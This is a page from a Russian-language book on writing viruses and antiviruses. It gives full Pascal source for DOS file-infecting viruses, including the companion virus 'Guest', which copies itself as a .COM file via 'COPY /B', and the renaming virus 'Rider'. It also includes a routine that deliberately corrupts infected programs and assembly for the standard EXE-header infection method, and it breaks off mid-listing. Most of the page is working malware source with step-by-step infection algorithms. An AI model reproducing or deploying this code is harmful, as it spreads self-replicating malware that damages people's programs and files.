Создаем вирус и антивирус - Игорь Гульев 3 стр.


{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

так как поиск ведется среди файлов с атрибутом Archive, а этот

атрибут устанавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции

на длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

{Инициализируемся}

Init;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn(’Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName

и Author, условие же поставлено таким образом,

что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания COM-файла спутника

Смысл этого метода – не трогая "чужого кота" (EXE-программу), создать "своего" – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2. Найти EXE-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.

4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.

5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.

6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим методом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Guest’;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

InfCount=2;

Var

{Для имени найденного файла}

TargetFile : PathStr;

{Для создания копии}

TargetCOM : PathStr;

{Счетчик количества заражений}

InfFiles : Byte;

DirInfo : SearchRec;

{Для сохранения параметров командной строки}

Parms : String;

{Для цикла For}

I: Byte;

{Поиск жертв}

procedure FindTarget;

Var

Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена,

и False, если еще нет}

function VirusPresent: Boolean;

Var

Target : File;

begin

{Пока будем считать, что вируса здесь нет}

VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,

но с расширением COM}

Assign(Target, TargetCOM);

Reset(Target, 1);

{Если не было ошибок при открытии,

программа уже инфицирована этим вирусом}

If IOResult=0 Then

begin

VirusPresent:=True;

{Открыли – закроем}

Close(Target);

end;

end;

{Собственно процедура заражения}

procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{С помощью командного процессора

копируем вирусный код в COM−файл}

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’

’+TargetCOM+’ >NUL’);

SwapVectors;

{Увеличиваем на единицу счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

begin {начало процедуры FindTarget}

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=’ ’;

{Запоминаем параметры командной строки}

If ParamCount <> 0 Then

For I:=1 To ParamCount Do

Parms:=Parms+’ ’+ParamStr(I);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;

{Ищем файл с именем стартового файла, но с расширением EXE}

FindFirst(TargetFile, AnyFile, DirInfo);

{Если такой файл найден, запускаем его на выполнение}

If DosError=0 Then

begin

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);

SwapVectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений}

begin

WriteLn(#13#10, VirName, ’ by ’,Author);

WriteLn(’Какое−нибудь сообщение’);

end;

end.

Инфицирование методом переименования EXE-файла

Отличий в алгоритмах работы этих вирусов и их "коллег", создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.

1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2. Найти EXE-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).

4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.

5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).

10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.

11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,

High Heap Limit 0b }

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

Fail=’Cannot execute ’#13#10’Disk is write−protected’;

{Расширения файлов, которые будем использовать}

Ovr=’.OWL’;

Ovl=’.OVL’;

Exe=’.EXE’;

Var

DirInfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

{Процедура для проверки диска на Read Only}

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If IOResult <> 0 Then

{Если диск защищен от записи, то ответ ’Access denied’}

begin

WriteLn(Fail);

Halt(5);

end;

end;

{Процедура прогонки оригинала}

procedure ExecReal;

begin

{Находим оригинал}

FindFirst(OurName+Ovl, AnyFile, DirInfo);

If DosError <> 0 Then

{Если не нашли}

begin

WriteLn(’Virus RIDER. Let’s go on riding!’);

WriteLn(’I beg your pardon, your infected file cannot be executed.’);

{Выход с DosError=Файл не найден}

Halt(18);

end;

{Переименовываем программу в OVL}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в EXE}

Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

{И запускаем его}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);

SwapVectors;

{А теперь возвращаем все на место}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

end;

{Процедура заражения}

procedure Infect;

begin

{Переименовываем жертву в OVL}

Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);

SwapVectors;

end;

{Процедура поиска жертвы}

procedure FindFile;

begin

{В текущем каталоге ищем EXE−файл}

FindFirst(’*.EXE’, AnyFile, DirInfo);

If DosError=0 Then

{И если он найден}

begin

{Запоминаем имя жертвы}

Victim:=DirInfo.Name;

{Запоминаем имя без расширения}

VictimName:=Copy(Victim, 1, Length(Victim)–4);

{Ищем оверлей с тем же именем}

FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

end;

end;

{Процедура инициализации переменных}

procedure Init;

begin

{Командная строка}

CmdLine:=’’;

{Полное имя нашей программы}

OurProg:=ParamStr(0);

{Имя нашей программы без расширения}

OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);

For I:=1 To ParamCount Do

begin

{Запоминаем параметры}

CmdLine:=ParamStr(I)+’ ’;

end;

end;

{Основная подпрограмма}

begin

{А эту табличку запишем в код для тех,

кто распакует вирус и начнет в нем копаться}

If False Then

begin

WriteLn(#13#10 ’ ’);

end;

{Инициализируемся}

Init;

{Проверка диска на R/O}

CheckRO;

{Ищем и заражаем}

FindFile;

{Загружаем оверлей}

ExecReal;

end.

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми "хитрыми". Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение EXE-файлов

Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

;Читаем заголовок EXE−файла (точнее, только первые 18h байт,

;которых вполне достаточно)

ReadHeader:

mov ah,3Fh

mov dx,offset EXEHeader

mov cx,0018h

int 21h

;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

;будем обращаться к заголовку, используя SI+смещение элемента

mov si,offset EXEHeader

;Получаем реальную длину файла, переместив указатель текущей

;позиции чтения/записи в конец файла

GetRealFSize:

mov ax,4202h

mov bx,Handle

xor cx,cx

xor dx,dx

int 21h

;Сохраним полученную длину файла

mov Reallen,dx

mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно

;помнить, что все вышесказанное не должно затрагивать

;оверлейные файлы. Их длина, указанная в заголовке,

;меньше реальной, то есть эти файлы загружаются

;в память не полностью.

;Следовательно, если заразить такой файл, вирус попадет

;в незагружаемую часть.

;Сохраним в стеке реальную длину EXE−файла

push dx

push ax

;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток

CompareOVL:

mov cx,0200h

div cx

;На данный момент в регистре AX находится число страниц

;(в каждой странице содержится 512 байт),

;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу.

;Добавим эту страницу к общему числу страниц –

;если остаток не равен нулю, то

;увеличим число страниц

or dx,dx

jz m1

inc ax

m1:

;Будем считать пригодным для заражения

;стандартным способом файлы с длиной,

;полностью совпадающей с указанной в заголовке

cmp ax,[si+PartPag]

jne ExitProc

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление

;зараженной программе, сохраним поля ReloSS,

;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.

;Значения констант, используемых в программе,

;равны смещению соответствующего

;элемента в заголовке EXE−файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss,ax

mov ax,[si+ExeSP]

mov oldsp,ax

mov ax,[si+ReloCS]

mov oldcs,ax

mov ax,[si+ExeIP]

mov oldip,ax

;Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

;Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE – длина тела вируса

adc dx,0

;Рассчитаем получившуюся длину (одна страница – 512 байт)

;и остаток в последней странице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div cx

or dx,dx

jz new_len

inc ax

New_len:

;Внесем в заголовок новую длину файла

Назад Дальше